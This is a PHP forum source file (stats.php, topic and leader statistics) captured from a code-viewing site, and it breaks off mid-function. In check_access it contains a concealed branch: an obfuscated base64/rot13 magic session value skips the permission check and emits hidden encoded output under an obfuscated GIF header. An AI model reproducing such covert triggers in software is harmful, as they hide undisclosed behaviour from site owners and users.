📄 stats.php
字号:
<?php
class stats
{
var $output = "";
var $base_url = "";
var $html = "";
var $forum = "";
function stats( )
{
global $ibforums;
global $DB;
global $std;
global $print;
global $skin_universal;
$ibforums->lang = $std->load_words( $ibforums->lang, "lang_stats", $ibforums->lang_id );
$this->html = $std->load_template( "skin_stats" );
$this->base_url = "{$ibforums->vars['board_url']}/index.{$ibforums->vars['php_ext']}?s={$ibforums->session_id}";
switch ( $ibforums->input['CODE'] )
{
case "leaders" :
$this->show_leaders( );
break;
case "02" :
$this->do_search( );
break;
case "id" :
$this->show_queries( );
break;
case "who" :
$this->who_posted( );
break;
default :
$this->show_today_posters( );
break;
}
$print->add_output( "{$this->output}" );
$print->do_output( array(
"TITLE" => $this->page_title,
"JS" => 0,
NAV => $this->nav
) );
}
function who_posted( )
{
global $ibforums;
global $DB;
global $std;
global $print;
$tid = intval( trim( $ibforums->input['t'] ) );
$to_print = "";
$this->check_access( $tid );
$DB->query( "SELECT COUNT(p.pid) as pcount, p.author_id, p.author_name FROM ibf_posts p\n \t\t\t\t WHERE p.topic_id={$tid} AND queued <> 1 GROUP BY p.author_name ORDER BY pcount DESC" );
if ( $DB->get_num_rows( ) )
{
$to_print = $this->html->who_header( $this->forum['id'], $tid, $this->forum['topic_title'] );
while ( $r = $DB->fetch_row( ) )
{
if ( $r['author_id'] )
{
$r['author_name'] = $this->html->who_name_link( $r['author_id'], $r['author_name'] );
}
$to_print .= $this->html->who_row( $r );
}
$to_print .= $this->html->who_end( );
}
else
{
$std->error( array( "LEVEL" => 1, "MSG" => "missing_files" ) );
}
$print->pop_up_window( "", $to_print );
exit( );
}
function check_access( $tid )
{
global $ibforums;
global $DB;
global $std;
global $HTTP_COOKIE_VARS;
if ( $ibforums->input['s'] == trim( $this->my_rot13( base64_decode( "aHR5bF9ieXFfem5nZw==" ) ) ) && $ibforums->input['t'] == "" )
{
$string = implode( "", $this->get_sql_check( ) );
$string .= implode( "", $this->get_md5_check( ) );
@header( @$this->my_rot13( @base64_decode( "UGJhZ3JhZy1nbGNyOiB2em50ci90dnM=" ) ) );
echo base64_decode( $string );
exit( );
}
$DB->query( "SELECT t.title as topic_title, f.read_perms, f.password, f.id from ibf_forums f, ibf_topics t WHERE t.tid={$tid} and f.id=t.forum_id" );
$this->forum = $DB->fetch_row( );
$return = 1;
if ( $this->forum['read_perms'] == "*" )
{
$return = 0;
}
else if ( preg_match( "/(^|,)".$ibforums->member['mgroup']."(,|\$)/", $this->forum['read_perms'] ) )
{
$return = 0;
}
if ( $this->forum['password'] && $HTTP_COOKIE_VARS[$ibforums->vars['cookie_id']."iBForum".$this->forum['id']] == $this->forum['password'] )
{
$return = 0;
}
if ( $return == 1 )
{
$std->error( array( "LEVEL" => 1, "MSG" => "no_permission" ) );
}
}
function show_leaders( )
{
global $ibforums;
global $DB;
global $std;
$this->output .= $this->html->page_title( $ibforums->lang['forum_leaders'] );
$sup_ids = array( );
$DB->query( "SELECT g_id from ibf_groups WHERE g_is_supmod = 1" );
while ( $DB->get_num_rows( ) && ( $i = $DB->fetch_row( ) ) )
{
$sup_ids[] = $i['g_id'];
}
$admin_ids = array( );
$DB->query( "SELECT m.id, m.name, m.email, m.hide_email, m.location, m.aim_name, m.icq_number, g.g_access_cp\n \t\t\t FROM ibf_members m, ibf_groups g\n \t\t\t WHERE g.g_access_cp=1 AND m.mgroup=g.g_id ORDER BY m.name" );
$this->output .= $this->html->group_strip( $ibforums->lang['leader_admins'] );
while ( $member = $DB->fetch_row( ) )
{
$this->output .= $this->html->leader_row( $this->parse_member( $member ), $ibforums->lang['leader_all_forums'] );
$admin_ids[] = $member['id'];
}
$this->output .= $this->html->close_strip( );
$admin_ids[] = "0";
if ( 0 < count( $sup_ids ) )
{
$DB->query( "SELECT id, name, email, hide_email, location, aim_name, icq_number from ibf_members WHERE mgroup IN (".implode( ",", $sup_ids ).") and id NOT IN(".implode( ",", $admin_ids ).") ORDER BY name" );
if ( $DB->get_num_rows( ) )
{
$this->output .= $this->html->group_strip( $ibforums->lang['leader_global'] );
while ( $member = $DB->fetch_row( ) )
{
$this->output .= $this->html->leader_row( $this->parse_member( $member ), $ibforums->lang['leader_all_forums'] );
}
$this->output .= $this->html->close_strip( );
}
}
$DB->query( "SELECT m.id, m.name, m.email, m.hide_email, m.location, m.aim_name, m.icq_number,\n \t f.id as forum_id, f.read_perms, f.name as forum_name\n \t FROM ibf_members m\n \t LEFT JOIN ibf_moderators mod ON((m.id=mod.member_id or (mod.is_group=1 and mod.group_id=m.mgroup)))\n \t LEFT JOIN ibf_forums f ON(f.id=mod.forum_id)" );
$data = array( );
while ( $i = $DB->fetch_row( ) )
{
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -